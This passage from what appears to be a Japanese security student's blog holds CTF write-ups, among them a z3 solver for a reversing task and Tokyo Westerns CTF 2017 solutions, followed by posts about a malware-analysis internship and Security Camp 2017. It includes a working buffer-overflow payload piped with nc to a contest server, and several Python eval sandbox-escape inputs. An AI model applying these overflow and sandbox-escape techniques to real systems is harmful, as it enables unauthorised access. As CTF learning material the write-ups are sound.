  v2_int64 = {0x7d41414141410041, 0x4141417b41410041}, 
  uint128 = 0x4141417b414100417d41414141410041
}

   0x7c96:  psadbw xmm5,xmm2

First: gdb-peda$ p $xmm5
$9 = {
  v4_float = {8.88423226e-43, 0, 1.06919073e-42, 0}, 
  v2_double = {3.1323761946335031e-321, 3.7697208777687111e-321}, 
  v16_int8 = {0x7a, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xfb, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  v8_int16 = {0x27a, 0x0, 0x0, 0x0, 0x2fb, 0x0, 0x0, 0x0}, 
  v4_int32 = {0x27a, 0x0, 0x2fb, 0x0}, 
  v2_int64 = {0x27a, 0x2fb}, 
  uint128 = 0x00000000000002fb000000000000027a
}
====================
>>> hex(0x22 - 0x41)
'-0x1f'
>>> hex(0x0f - 0x41)
'-0x32'
>>> hex(0x02 - 0x41)
'-0x3f'
>>> hex(0xc8 - 0x7b)
'0x4d'
>>> hex(0x83 - 0x41)
'0x42'
>>> hex(0xfb - 0x41)
'0xba'
>>> hex(0xe0 - 0x41)
'0x9f'
>>> hex(0x83 - 0x00)
'0x83'
>>> hex(0x1f + 0x32 + 0x3f + 0x4d + 0x42 + 0xba + 0x9f + 0x83)
'0x2fb'
====================

Second: gdb-peda$ p $xmm5
$7 = {
  v4_float = {7.13260918e-43, 0, 8.91225823e-43, 0}, 
  v2_double = {2.5147941373319449e-321, 3.142257507550328e-321}, 
  v16_int8 = {0xfd, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7c, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  v8_int16 = {0x1fd, 0x0, 0x0, 0x0, 0x27c, 0x0, 0x0, 0x0}, 
  v4_int32 = {0x1fd, 0x0, 0x27c, 0x0}, 
  v2_int64 = {0x1fd, 0x27c}, 
  uint128 = 0x000000000000027c00000000000001fd
}

   0x7c9a:  movaps XMMWORD PTR ds:0x1268,xmm5
   0x7c9f:  mov    di,WORD PTR ds:0x1268

First: gdb-peda$ p $edi
$10 = 0x27a

Second: gdb-peda$ p $di
$9 = 0x1fd

   0x7ca3:  shl    edi,0x10

First: gdb-peda$ p $edi
$11 = 0x27a0000

Second: gdb-peda$ p $edi
$11 = 0x1fd0000

   0x7ca7:  mov    di,WORD PTR ds:0x1270

First: gdb-peda$ p $edi
$12 = 0x27a02fb

gdb-peda$ p $si
$13 = 0x8

Second: gdb-peda$ p $edi
$12 = 0x1fd027c

gdb-peda$ p $si
$13 = 0x7

   0x7cab:  mov    dx,si
   0x7cad:  dec    dx

gdb-peda$ p $dx
$14 = 0x7

------------------------------ # 単純にdxの値を4倍している
   0x7cae:  add    dx,dx

First: gdb-peda$ p $dx # 7 + 7
$15 = 0xe

Second: gdb-peda$ p $dx # 6 + 6
$15 = 0xc

   0x7cb0:  add    dx,dx

First: gdb-peda$ p $dx
$16 = 0x1c

Second: gdb-peda$ p $dx
$16 = 0x18
------------------------------

   0x7cb2:  cmp    edi,DWORD PTR [edx+0x7da8]

First: gdb-peda$ x/10 $edx+0x7da8
0x7dc4: 0x02df028f  0x00000014  0x00000000  0x00000000
0x7dd4: 0x00000000  0x00000000  0x00000000  0x00000000
0x7de4: 0x00000000  0x00000000

Second: gdb-peda$ x/10 $edx+0x7da8
0x7dc0: 0x0290025d  0x02df028f  0x00000014  0x00000000
0x7dd0: 0x00000000  0x00000000  0x00000000  0x00000000
0x7de0: 0x00000000  0x00000000

   0x7cba:  jne    0x7d4d # If input is not correct, return.

   0x7cbe:  dec    si

gdb-peda$ p $si
$2 = 0x7

   0x7cbf:  test   si,si # If si is 0, finish.
   0x7cc1:  jne    0x7c8e
=======================================================================================


This is the flag!!!!!!!!!!!!!!!!!!!!!
Just do it!!!!!!!!!!

0x02df028f
0x0290025d
0x02090221
0x027b0278
0x01f90233
0x025e0291
0x02290255
0x02110270

psadbwのところが不可逆っぽいので,逆算する処理ではなくz3を使ってこの処理を満たすような入力値を求める.

z3の使い方がわからず,BitVecsで値を生成してそれにabs()使おうとしたらできなくて,他にもいろいろ苦戦して,ようやくスクリプトが書けました.

(かなり汚いです)

#!/usr/bin/env python
from z3 import *

# 0x20 <= si <= 7e
#
# [flag]
# 0x02df028f
# 0x0290025d
# 0x02090221
# 0x027b0278
# 0x01f90233
# 0x025e0291
# 0x02290255
# 0x02110270
#
# {s0s1s2s3s4s5s6s7s8s9s10s11s12s13}
#
# s7s8s9s10s11s12s13}s3s4s5s6{s0s1s2
#                  s15      s14
# 0x** ** ** 7b ** ** ** ** ** 7d ** ** ** ** ** ** ** (little endian)

def get_abs(x):
    return If(x >= 0,x,-x)

def main():
    solver = Solver()

    s = [Int('s_%d' % i) for i in range(14)]

    for i in range(len(s)):
        solver.add(s[i] != 0)
        solver.add(0x20 <= s[i], s[i] <= 0x7e)

    s14 = 0x7b
    s15 = 0x7d

    t0  = 0x22
    t1  = 0x0f
    t2  = 0x02
    t3  = 0xc8
    t4  = 0x83
    t5  = 0xfb
    t6  = 0xe0
    t7  = 0x83
    t8  = 0xc0
    t9  = 0x20
    t10 = 0x0f
    t11 = 0x10
    t12 = 0xcd
    t13 = 0x00
    t14 = 0x13
    t15 = 0xb8

    psadbw1 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - 0x00)
    psadbw2 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - 0x00)

    solver.add(psadbw1 == 0x28f)
    solver.add(psadbw2 == 0x2df)

    t0  = 0x0
    t1  = 0x0
    t2  = 0x0
    t3  = 0x0
    t4  = 0x0
    t5  = 0x0

    t6  = 0x02
    t7  = 0x8f

    t8  = 0x0
    t9  = 0x0
    t10 = 0x0
    t11 = 0x0
    t12 = 0x0
    t13 = 0x0

    t14 = 0x02
    t15 = 0xdf

    psadbw3 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - 0x00) + get_abs(t7 - s[3])
    psadbw4 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - 0x00) + get_abs(t15 - s[7])

    solver.add(psadbw3 == 0x25d)
    solver.add(psadbw4 == 0x290)

    t7  = 0x5d
    t15 = 0x90

    psadbw6 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - 0x00) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw7 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - 0x00) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw6 == 0x221)
    solver.add(psadbw7 == 0x209)

    t7  = 0x21
    t15 = 0x09

    psadbw8 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - 0x00) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw9 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - 0x00) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw8 == 0x278)
    solver.add(psadbw9 == 0x27b)

    t7  = 0x78
    t15 = 0x7b

    psadbw10 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - 0x00) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw11 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - 0x00) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw10 == 0x233)
    solver.add(psadbw11 == 0x1f9)

    t7  = 0x33
    t14 = 0x01
    t15 = 0xf9

    psadbw12 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - 0x00) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw13 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - 0x00) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw12 == 0x291)
    solver.add(psadbw13 == 0x25e)

    t7  = 0x91
    t14 = 0x02
    t15 = 0x5e

    psadbw14 = get_abs(t0 - s[2]) + get_abs(t1 - 0x00) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw15 = get_abs(t8 - s15) + get_abs(t9 - 0x00) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw14 == 0x255)
    solver.add(psadbw15 == 0x229)

    t7  = 0x55
    t15 = 0x29

    psadbw16 = get_abs(t0 - 0x00) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw17 = get_abs(t8 - 0x00) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw16 == 0x270)
    solver.add(psadbw17 == 0x211)

    t7  = 0x70
    t15 = 0x11

    if solver.check() == sat:
        m = solver.model()
        print m

        flag = ''
        for i in s:
            flag += chr(m[i].as_long())

        print "\nflag: flag{%s}" % flag
    else:
        print "Not found."



if __name__ == '__main__':
    main()
$ python solve.py
[s_0 = 52,
 s_6 = 95,
 s_2 = 51,
 s_3 = 97,
 s_4 = 108,
 s_10 = 51,
 s_11 = 95,
 s_8 = 48,
 s_7 = 109,
 s_9 = 100,
 s_5 = 122,
 s_12 = 121,
 s_13 = 48,
 s_1 = 114]

flag: flag{4r3alz_m0d3_y0}

まとめ

z3の書き方,よくわからない部分が多い.

解けなかった問題に関しては,

pilot (Pwn75):オーバーフローさせてシェルコード実行させようとしたらできなくて,gdbで見てみたらシステムコールを呼ぶ直前でコードが変わるという謎の現象が起きたりしてた.よくわからん.

Missed Registration (Forensics150):nの値とxの値 is 何.末尾に何か付いてたけどわからん.

Gopherz (Reversing350):Gopherというプロトコルを初めて知った.なんの成果も得られませんでした.

Tokyo Westerns CTF 3rd 2017 Writeup

開催期間(JST)

09/02 AM9:00 ~ 09/04 AM9:00

結果

・チーム名:wabisabi

・得点:213pt

・順位:得点したチーム中,133/901

解いた問題

・Just do it!

・Rev Rev Rev

・pplc: private

・pplc: local

・pplc: comment

取り組んだが解けなかった問題

・Let’s go!

はじめに

実際に集まることはなかったのですが,slackでちょいちょいやり取りしながらチームメンバーのkobadとよね君と一緒に参加してました.

Warmupは全部解きたいねって話をメンバーにしたのですが,cryptoの1問が残ってしまいました.cryptoちょっと見てみたけどrevやりたかったのでそっと閉じました.

途中,ちょっと遠くに美味しいラーメンを食べに行ったり,翌日の日曜は近所の高校の学園祭にお邪魔して遊んでたりしてて,夕方帰ってきてから朝まで気合でLet’s go!のバイナリを読んでた,そんな感じのCTFでした.

Writeup

Just do it!

やるだけ問でした.

実行するとこんな感じ.flag.txtを作る必要がある.

$ ./just_do_it56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
Welcome my secret service. Do you know the password?
Input the password.
hoge
Invalid Password, Try Again!

flagを中で読み込んでるけど,出力はしないみたいな感じで,あとBoFがある.

オーバーフローした先がputsで入力値を出力する場所だったので,オーバーフローさせてからputsに渡すアドレスをflagのある場所に変えるだけ.

$ echo -e "AAAAAAAAAAAAAAAAAAAA\x80\xa0\x04\x08" |./just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
Welcome my secret service. Do you know the password?
Input the password.
FLAG{xxxx}

これをリモートに送ってやるとflagが貰える.

$ echo -e "AAAAAAAAAAAAAAAAAAAA\x80\xa0\x04\x08" |nc pwn1.chal.ctf.westerns.tokyo 12345
Welcome my secret service. Do you know the password?
Input the password.
TWCTF{pwnable_warmup_I_did_it!}

Rev Rev Rev

一番最初に解いた問題でした.

$ ./rev_rev_rev-a0b0d214b4aeb9b5dd24ffc971bd391494b9f82e2e60b4afc20e9465f336089f
Rev! Rev! Rev!
Your input: hoge
Invalid!

crackme系の問題っぽい.

確か,最初に入力値から改行を取り除き,その文字列を反転して,さらに2回ほど暗号化っぽいことをやってた気がする.

で,それがとある文字列と等しいかどうか判定している.

最初に思いついたのが,アルファベットと数字を全て入力して,生成される文字列からテーブルみたいなのを作って,あとは読むだけ,みたいなやり方.

最初にABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzと入力しようとしたら,確か文字列の制限があって,小文字大文字に分けて出力結果をメモっていった.

結果,プログラム書くより手でやったほうが早そうだったので,こんな感じになった↓

0xd5, 0x15, 0x3d, 0xd5, 0x9d, 0x21, 0x71, 0xf1, 0xa1, 0x69, 0x31, 0x61, 0xdd, 0x89, 0xb9, 0x49, 0xb9, 0x09, 0xa1, 0x13, 0x93, 0x09, 0x19, 0xc9, 0xe1, 0xf1, 0xa1, 0x65, 0xd9, 0x29, 0x41
T     W     C     T     F     {     q     p     z     i     s     y     D     n     b     m     b     o     z     7     6     o     g     l     x     p     z     Y     d     k    }

ABCDEFGHIJKLMNOPQRSTUVWXYZ
0x7d, 0xbd, 0x3d, 0xdd, 0x5d, 0x9d, 0x1d, 0xed, 0x6d, 0xad, 0x2d, 0xcd, 0x4d, 0x8d, 0x0d, 0xf5, 0x75, 0xb5, 0x35, 0xd5, 0x55, 0x95, 0x15, 0xe5, 0x65, 0xa5

abcdefghijklmnopqrstuvwxyz
0x79, 0xb9, 0x39, 0xd9, 0x59, 0x99, 0x19, 0xe9, 0x69, 0xa9, 0x29, 0xc9, 0x49, 0x89, 0x09, 0xf1, 0x71, 0xb1, 0x31, 0xd1, 0x51, 0x91, 0x11, 0xe1, 0x61, 0xa1


1234567890
0x73, 0xb3, 0x33, 0xd3, 0x53, 0x93, 0x13, 0xe3, 0x63, 0xf3
TWCTF{qpzisyDnbmboz76oglxpzYdk}

pplc: private

自分は初めてみる形式の問題で,脳トレっぽくて楽しめました.

pythonソースコードが渡されます. あと,このプログラムが動いているサーバがあります.

import sys
from restrict import Restrict

r = Restrict()
# r.set_timeout()

class Private:
    def __init__(self):
        pass

    def __flag(self):
        return "TWCTF{CENSORED}"

p = Private()
Private = None

d = sys.stdin.read()
assert d is not None
assert "Private" not in d, "Private found!"
d = d[:24]

r.seccomp()

print eval(d)

問題の概要としては,Privateの中にある__flag関数を呼んでフラグを取ってね,みたいな感じ.

そんなの普通に呼べばいいやんけってわけにはいかなくて,pythonにはprefixとしてアンダースコア2つで関数を定義すると,マングリング機構というものが働いて,メソッド名が_クラス名__メソッド名に変換されるので,元の名前では呼ぶことができなくなります.

そう,元の名前では呼べないだけで,変換された名前で呼んであげれば勝ちです.

しかし,assertが働いているので “Private” という文字列を入力することができません.

ここで,先日参加したkatagaitai勉強会のXSS千本ノックで学んだXSS的思考が役に立ちました.

まず,dir(p)でpオブジェクトのメソッド一覧を調べます.

すると,変換された名前である “_Private__flag” が第1要素として格納されているので,これを使います.

eval("p."+dir(p)[0]+"()")

これで,一度式が評価されて “p._Private_flag()” という文字列が生成されてから,再度元々のevalにより関数として評価されて勝ち!って思ったんだけど,これは25文字になってしまい,24文字制限があるこの問題では最後の “)” が入力されない.

ここで結構悩んでいたのですが,文字列の中で変数展開的なことできなかったっけ?と思って,

eval('p.%s()'%dir(p)[0])

こう書いてみたら24文字ぴったりでした.

$ ncat ppc1.chal.ctf.westerns.tokyo 10000
eval('p.%s()'%dir(p)[0])

TWCTF{__private is not private}

参考:

d.hatena.ne.jp

pplc: local

ソースコード

import sys
from restrict import Restrict

r = Restrict()
# r.set_timeout()

def get_flag(x):
    flag = "TWCTF{CENSORED}"
    return x

d = sys.stdin.read()
assert d is not None
d = d[:30]

r.seccomp()

print eval(d)

get_flagの中で定義されているローカル変数であるflagを読みだす問題.

無理ゲーやろって思って,過去問見ながら調べてたら去年はRubyの問題でデバッグ関係の関数が役に立ったというのを見て,調べてたけどダメ.

さっきみたいにdirでget_flagのメソッド取り出してアクセスできないかなと調べてたら以下のサイトが役に立った.

関数オブジェクトと属性 - 愚鈍人

dir(get_flag.func_code)でメソッド全部出して,それっぽいのを見ていきました.

dir(get_flag.func_code)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

get_flag.func_code.co_argcount
1

get_flag.func_code.co_code
d}|S

$ get_flag.func_code.co_consts
(None, 'TWCTF{CENSORED}')

$ ncat ppc1.chal.ctf.westerns.tokyo 10001
get_flag.func_code.co_consts
(None, 'TWCTF{func_code is useful for metaprogramming}')

pplc: comment

ソースコード

import sys
from restrict import Restrict

r = Restrict()
# r.set_timeout()

d = sys.stdin.read()
assert d is not None
d = d[:20]

import comment_flag
r.seccomp()

print eval(d)
'''
Welcome to unreadable area!
FLAG is TWCTF{CENSORED}
'''

メモリ上の値をどうにかして呼び出すのかな~とか思ってimport gc; gc.get_objects()とかをやろうとしていたのですが,evalは文を評価してくれないため詰み.

localを解いた後だったので,さっきみたいなところに入ってたりしないかな~と適当に見ていったら見つかって拍子抜けした.

dir(comment_flag)
['__builtins__', '__doc__', '__file__', '__name__', '__package__']

comment_flag.__doc__

Welcome to unreadable area!
FLAG is TWCTF{CENSORED}

$ ncat ppc1.chal.ctf.westerns.tokyo 10002
comment_flag.__doc__

Welcome to unreadable area!
FLAG is TWCTF{very simple docstring}

__doc__に入るっぽい

取り組んだが解けなかった問題

Let’s go!

golang x crackme な感じのやつでした.

絶対解くぞと思って朝までやっててもできなかったので,途中までやったことを書いていきます.

$ file lets_go
lets_go: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

一見普通のELFっぽいですが,中を見てみると見慣れない関数とかがあって調べてみたらgolangで書かれたものでした.(Let’s go!という問題文も納得)

passwordとなる文字列をコマンドライン引数で渡して実行する形式.

$ ./lets_go hoge
Failed... ;(

まずはpasswordを比較しているところを探すことから始めました.

あと,golangバイナリの読み方?的なことも調べつつ.

main.mainから読んでいきます.

main.mainはこんな感じです.

f:id:ywkw1717:20170904153815j:plain

このプログラムは引数がちゃんと渡されていたら,テーブルの生成とパスワードチェックの関数が実行されるようになっています.

テーブルは,後ほど出てくる暗号化で使われているテーブルです.

main.UhoCh5ooSeith0ee7Ienで生成されているのですが,詳細な動作を読む必要は無さそう.

結果として,

WPnq7JEM2AskwjoX3VRx9aHbiYfd4#Zp05TUGc1SBCFNgvhz8rQl6@ytIKumDeOL

というテーブルが生成されます.

テーブルが生成された後,main.mainにてmain.Xerei4oreeshex6zien0という関数が実行されます.

0x492a5c <main.main+140>: call   0x491fa0 <main.Xerei4oreeshex6zien0>

この関数はパスワードチェックやFLAGが正しいかどうかのチェックも担っているチェック関数みたいなやつです.

こいつの内部でcallされている関数の中で重要な関数がmain.Wuyeiqua4ievohR4ahngです.

入力値やテーブルなどを受け取ってなんかやってます.

これを実行すると戻り値として暗号化っぽい処理を施された文字列が返ってきます.

その後,その戻り値がR6aYb@VboTG==かどうかで分岐しているので,main.Wuyeiqua4ievohR4ahngをもっと詳しく読む必要があります.

main.Wuyeiqua4ievohR4ahngでは,入力値を2進数化してから,

0x491d70:    e8 cb 40 fc ff          call   455e40 <strconv.ParseInt>

ここで,その値をパースしています.確か引数として6とかを渡していて,”先頭から6文字づつ取り出す”とかそんな挙動になると思います.

そして,

0x491d8b:    48 8b 94 24 e0 00 00    mov    rdx,QWORD PTR [rsp+0xe0] # rdx = table
0x491d92:   00
0x491d93:   0f b6 04 02             movzx  eax,BYTE PTR [rdx+rax*1] # eax = table[rax]

ここで,ParseIntの結果をtableのインデックスとして用いて,tableから1文字取り出す,ということをやっています.

つまり,'A'という入力値が与えられた場合,まず'A'の2進表現として01000001に変換され,先頭から6文字である'010000'が取り出される.

これは10進数で16なので,table[16]である3が取り出され,残りの01に対しても6bitに拡張される?からなのか,010000となり,同じようにtable[16]である3が取り出されます.

そして,1回目のjoinで結合されて'33'になり,2回目のjoinでパディングが付与されて'33===‘になる,みたいな挙動をします.

6bitで区切って末尾にパディングはイメージ的にはbase64っぽい.

そこで,何をすればパスワードが求まるかというと,"R6aYb@VboTG==“のそれぞれの文字に対してtableからインデックスを求めてからそれを2進数化、そして8文字区切りで読んでいけば読める、パディングは無視します.

tableにおけるRの位置は18, 6は52,,,,,これを続けていき,求まった値をスクリプトに書いてパスワードを求めました.

#!/usr/bin/env python
import sys


def main():
    password = [18, 52, 21, 25, 23, 53, 17, 23, 14, 34, 36]  # "R6aYb@VboTG"
    pass_bin = ""

    for i in password:
        pass_bin = pass_bin + format(i, 'b').zfill(6)

    for i in range(len(pass_bin)/8):
        sys.stdout.write(chr(int(str(pass_bin[i*8:i*8+8]), 2)))


if __name__ == '__main__':
    main()

すると,"KEY_TW:)“というパスワードが求まります.

ここからが本題で,求まったパスワードを元に実行すると,

$ ./lets_go "KEY_TW:)"
Input FLAG: hoge
Failed... ;(

このように,渡されたFLAGの値を正しいかどうかチェックするようになります.

読むべき場所はここ

0x4924ab <main.Xerei4oreeshex6zien0+1291>:  call   0x491a80 <main.f1151e71905f3d94b49b0>

この関数,渡されたパスワードを元にゴニョゴニョやっているので,パスワードについては分岐を潰すだけではダメで,実際に↑で書いたように正しい値を求める必要があります.

この関数に入る前に,

0x4923cf <main.Xerei4oreeshex6zien0+1071>: cmp    rcx,0x30 // 入力値は48文字
0x4923d3 <main.Xerei4oreeshex6zien0+1075>: jne    0x4926e6 <main.Xerei4oreeshex6zien0+1862> // 48文字ではなかったらExit

ここでFLAGの文字数を48文字でなかったらFailedになる処理があるので,適当に48文字与える必要があります.

ここでは”TWCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}”という文字列を与えます.

(ここら辺から言っていることが正しいのか自信がないので間違ってたら申し訳ない)

では先ほど出てきたmain.f1151e71905f3d94b49b0がなにをしているのかというと,渡された48文字を先頭から8文字取り出して,

'TWCTF{AA'[0] + 'KEY_TW:)'[0]

まず,この値を求めます. そして,スタック上にできているtable(先ほどとは違うもの)に対して,この値をインデックスとして取り出す.

取り出した値に,TWCTF{AAの'W'を加えて,それをRCXに格納.

RCX = table[ 'TWCTF{AA'[0] + 'KEY_TW:)'[0] ] + 'TWCTF{AA'[1]
rol cl, 1

最後にRCXの下位8bitをrolしてから,RCXの下位8bitを"TWCTF{AA"の指定の場所に格納して"TdCTF{AA"になってそのまま32回繰り返すので,次に"Td,TF{AA"となり,これがどんどん繰り返されて最終的に64bitのよくわからない値になります.

そして,main.f1151e71905f3d94b49b0からretして

0x492574 <main.Xerei4oreeshex6zien0+1492>: call   0x464780 <reflect.DeepEqual>

にて,値が正しいのか確かめていると思う.

この処理を計6回行って48文字の正誤を検証しているっぽいです.

で,DeepEqualにてどんな値とそれぞれ比較されているのかというと

1回目:0x48fd9fdd395cfe4a
2回目:0x555ed4725bde6cf0
3回目:0xb492d5de09fa160
4回目:0x9c326531f39e320e
5回目:0x5eecc9092cef233d
6回目:0x10b4e73f5fd73945

つまり,これがFLAGっぽいです.

Z3使えば答えが求まるかなと思って,少しづつ書いていたのですが,できずにタイムアップしました.

他の方のWriteupを読みたいと思います…

まとめ

解けた中で一番面白かったのはpplc,解けなかったけど一番時間をかけたのはLet’s go!でした.

Let’s go!が解けていれば順位が2桁だったので悔しさがある…

リケジョじゃないけどリケジョのサマーインターンに参加してきた

はじめに

株式会社ラックさんで行われた「夏のリコチャレ2017 リケジョのサマーインターン第二弾」に参加してきました.

頂いたパンフレット.

1dayインターンってやつでした.

リケジョじゃないのに参加できたのは,第二弾は男女どちらでも参加可能だったからです!

なにをしてきたのか

JSOCを見学できたのと,マルウェア解析をやりました.何をやったかは詳しく書けないので,感想と簡単なまとめだけ書いていきます.

朝から人身事故が起きてたり.何番線に行けばいいかわからなかったりしましたが.なんとか辿り着けました.

会場に到着して名前と大学名を伝えたら名札的なのを貰いました.

なにをやってる会社なのかとか歴史とかを聞いて,初めてLACという社名がLittle eArth Corporationの略だということを知りました.

JSOCが大体何件のログを処理しているかとか,そういうデータ的なお話も聞けたり.LACのFalconのお話も聞けて.Falconが処理しているログの多さに驚きました.

その後はマルウェア解析をするための準備的なのをやってから昼食でした.

昼食ではCTFerの方と今年のGoogle CTFのmindreaderわろた的な話をしたり.社員さんの中で僕と地元がほぼ一緒の人がいたりして.親近感を覚えていました.

驚いたのが,昼食を食べ終わって部屋に戻ろうとしたら講師の方にセキュキャンのことでお声をかけて頂いて,セキュキャンパワーすごいなと思いました.(名前負けしないようにしっかり実力をつけないと…)

昼食の後はJSOCを見学しました.

実は存在すら知らなかったJSOCでしたが…見学してみると働いてる人たちが皆さんプロって感じで格好良くて見入ってました.

去年からリニューアルしたらしくて,去年までの真っ黒なサイバーな感じも格好良いのですが,それはそれで不都合があるようで,陽の光が入らないという致命的な欠点があったっぽいです.

今はホワイトなカラーで,ホワイトハッカーをイメージしているんだとか.

その後はいよいよマルウェア解析で.ちょめちょめといろんな事をやってました.

講師の方の説明がわかりやすくてとても丁寧だったので詰まるところはありませんでした.

最後に海外や日本のイベントの紹介があって.REconは初めて知りました.

まとめ

JSOCを見学してプロが実際に働いている現場を生で見ることができたのは,とても貴重な経験でした.

マルウェア解析のハンズオンもわかりやすく丁寧に教えて頂き,きっかけ作りという講義ではなくてしっかりと技術を身につける講義だったので,様々な知見を得ました.

セキュキャンが終わり,インターンが終わり,残すイベントは来週のkatagaitai勉強会ぐらいで,あとはみっちり勉強しようと思ってます.(バイトもしなきゃ)

以上.

セキュリティ・キャンプ全国大会2017に参加して最高の5日間を過ごした話

はじめに

参加してきました.噂に聞いてた通り最高のキャンプでした.

セキュリティ・キャンプってなにって人向けにIPAのサイトを.

www.ipa.go.jp

最高レベルの講師に最高の講義をして頂いて最高の体験を得るようなキャンプです.

応募用紙を書いて合格を頂けると行くことができます.

僕が書いた応募用紙はこちらです.

ywkw1717.hatenablog.com

今回CEDEC CHALLENGEという,SECCON2017の地方大会と日程が少し被っていてつらかったのですが,行きの新幹線とか初日の夜とかに逆アセンブル結果を見ながら頑張ってました.スライドは15日の夜までで,明らかに作る時間がないので最終日に先輩に丸投げしてしまった…

キャンプ自体はどうだったのかというと,参加中はその日の終わりに1日の出来事などをまとめていたりしました.

1日目

起きれました.

新幹線や電車で会場へ向かいます.

Tシャツはポプテピピックでした.

会場到着!!!

12時前だったけど会場に行ってみたら受付が始まってて,早めに受付ができました.

ホテルがめっちゃ豪華

荷物を預けてから部屋に行ってみると,まだ少人数だったけど名刺交換大会が始まってたようで,自分もすぐ参加しました.

初っ端に交換した人がhiwwさんでビビった.Harekazeステッカーを貰いました.嬉しかった.

その後も名刺を交換しまくっていると,誰と交換したかがわからなくなる問題が発生.

去年のCODE BLUE 学生スタッフ勢がチラホラいて久しぶりに会って話せたので嬉しかったです.

昼食は班員に講師やチューターの方を交えて食べました.美人な女性の隣の席になり緊張していたら,なんとその人がはいひるさんで,ビビった.後はA7のファジング実習の講師をやるSymantecの山下さんと班員のかきのたね君とご飯を食べました.カレーだったんですが,だいぶ辛かった.

ご飯を食べた後は,開会式とかセキュリティ基礎とかチューターさんのプレゼンとか特別講義が2つあったりしました.(途中睡魔と戦っていたのは内緒)

チューターさん3人からプレゼンがあったのですが,みなさんぶっ飛んでる人しかおらず,すごいなぁという感想しか出てきませんでした.

特別講義は「凝ったう〇この話」と「フォレンジックの話」でした.

夕食は鳥の照り焼き.班員の人達と食べました.美味かった.

夜はグループワーク.プロ達にヒアリングして周っていました.

2日目

7時過ぎに起きました.

朝食チャレンジも成功.

Tシャツは配られた2017キャンプTシャツを早速着たのですがこれが失敗.

だれも着ている人がいなくて、めっちゃ調子乗ってるやつみたいになってました!

講義は,

の2つ.

初日が一番辛そうだなと思ってたんですが,思った通り大変でした.

D1 Linuxカーネルを理解して学ぶ 脆弱性入門

